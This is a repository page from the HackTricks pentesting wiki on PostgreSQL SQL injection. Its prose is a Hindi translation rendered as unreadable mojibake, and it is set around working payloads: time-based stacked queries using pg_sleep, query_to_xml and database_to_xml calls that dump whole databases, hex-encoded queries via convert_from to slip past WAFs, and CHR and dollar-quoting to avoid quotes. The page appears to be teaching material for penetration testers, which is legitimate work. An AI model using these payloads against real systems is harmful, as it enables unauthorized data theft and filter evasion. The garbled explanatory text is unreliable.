hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-11-19 12:01:29 +00:00
..
big-binary-files-upload-postgresql.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
dblink-lo_import-data-exfiltration.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
pl-pgsql-password-bruteforce.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:30:53 +00:00
rce-with-postgresql-extensions.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:55:01 +00:00
rce-with-postgresql-languages.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:30:53 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-11-19 12:01:29 +00:00

PostgreSQL injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ).

{% embed url="https://www.stmcyber.com/careers" %}


рдпрд╣ рдкреГрд╖реНрда рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рд╕рдордЭрд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдПрдХ рдкреЛрд╕реНрдЯрдЧреНрд░реЗрдПрд╕рдХреНрдпреВрдПрд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдкрд╛рдП рдЧрдП SQL рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЙрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ рдЖрдк https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

PostgreSQL рдореЙрдбреНрдпреВрд▓ dblink рдЕрдиреНрдп PostgreSQL рдЙрджрд╛рд╣рд░рдгреЛрдВ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ TCP рдХрдиреЗрдХреНрд╢рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпреЗ рд╕реБрд╡рд┐рдзрд╛рдПрдБ, COPY FROM рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐, рдкреЛрд░реНрдЯ рд╕реНрдХреИрдирд┐рдВрдЧ, рдФрд░ NTLM рдЪреБрдиреМрддреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрдкреНрдЪрд░ рдЬреИрд╕реА рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рд╣реИрдВред рдЗрди рд╣рдорд▓реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рд╕реНрддреГрдд рддрд░реАрдХреЛрдВ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ рдХрд┐ рдЗрди рд╣рдорд▓реЛрдВ рдХреЛ рдХреИрд╕реЗ рдХрд░реЗрдВред

рдЖрдк рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреИрд╕реЗ рдмрдбрд╝реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛ рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ рдлрд╝рдВрдХреНрд╢рди dblink_connect рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рдЕрдВрджрд░ рдмрдбрд╝реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдХрд╛рд╕реА рдХрд░реЗрдВред

PostgreSQL рд╣рдорд▓реЗ: рдкрдврд╝реЗрдВ/рд▓рд┐рдЦреЗрдВ, RCE, рдкреНрд░рд┐рд╡реЗрд╕реНрдХ

рджреЗрдЦреЗрдВ рдХрд┐ PostgreSQL рд╕реЗ рд╣реЛрд╕реНрдЯ рдХреЛ рдХреИрд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреИрд╕реЗ рдмрдврд╝рд╛рдПрдВ:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF рдмрд╛рдпрдкрд╛рд╕

PostgreSQL рд╕реНрдЯреНрд░рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди

рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд░рдирд╛ рдЖрдкрдХреЛ WAFs рдпрд╛ рдЕрдиреНрдп рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕ рдкреГрд╖реНрда рдкрд░рдЖрдк рдХреБрдЫ рдЙрдкрдпреЛрдЧреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ PostgreSQL рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХрдИ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдПрдХ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХ рджреЗрдВрдЧреЗ рдпрджрд┐ 2 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рд▓реМрдЯрд╛рдИ рдЬрд╛рддреА рд╣реИрдВ рдЬрдмрдХрд┐ рдХреЗрд╡рд▓ 1 рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХреА рдЬрд╛рддреА рд╣реИред рд▓реЗрдХрд┐рди, рдЖрдк рдЕрднреА рднреА рдЯрд╛рдЗрдо рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML рдЯреНрд░рд┐рдХреНрд╕

query_to_xml

рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ XML рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛ рд▓реМрдЯрд╛рдПрдЧрд╛ред рдпрджрд┐ рдЖрдк рдХреЗрд╡рд▓ 1 рдкрдВрдХреНрддрд┐ рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░рд╛ рдбреЗрдЯрд╛ рдбрдВрдк рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЖрджрд░реНрд╢ рд╣реИ:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдкреВрд░реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ XML рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдХреЗрд╡рд▓ 1 рдкрдВрдХреНрддрд┐ рдореЗрдВ рдбрдВрдк рдХрд░реЗрдЧрд╛ (рдпрджрд┐ рдбреЗрдЯрд╛рдмреЗрд╕ рдмрд╣реБрдд рдмрдбрд╝рд╛ рд╣реИ рддреЛ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдЗрд╕реЗ DoS рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рднреА):

SELECT database_to_xml(true,true,'');

Strings in Hex

рдпрджрд┐ рдЖрдк рдХреНрд╡реЗрд░реАрдЬрд╝ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕ рдХреА рдЬрд╛рддреА рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП query_to_xml рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред рдЖрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╣реЗрдХреНрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП convert_from рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕ рддрд░рд╣ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

рдирд┐рд╖рд┐рджреНрдз рдЙрджреНрдзрд░рдг

рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП рдЙрджреНрдзрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ CHR рдХреЗ рд╕рд╛рде рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмреБрдирд┐рдпрд╛рджреА рдзрд╛рд░рд╛рдУрдВ рдХреЗ рд▓рд┐рдП (рдЕрдХреНрд╖рд░ рд╕рдВрдпреЛрдЬрди рдХреЗрд╡рд▓ рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рд╢реНрдиреЛрдВ рдЬреИрд╕реЗ SELECT, INSERT, DELETE, рдЖрджрд┐ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рднреА SQL рдмрдпрд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

рдпрд╛ $ рдХреЗ рд╕рд╛рдеред рдпреЗ рдХреНрд╡реЗрд░реА рд╕рдорд╛рди рдкрд░рд┐рдгрд╛рдо рд▓реМрдЯрд╛рддреА рд╣реИрдВ:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

рдпрджрд┐ рдЖрдк рд╣реИрдХрд┐рдВрдЧ рдХрд░рд┐рдпрд░ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ рдЕрдЪреВрдХ рдХреЛ рд╣реИрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╣рдо рднрд░реНрддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ рд╣реИ).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}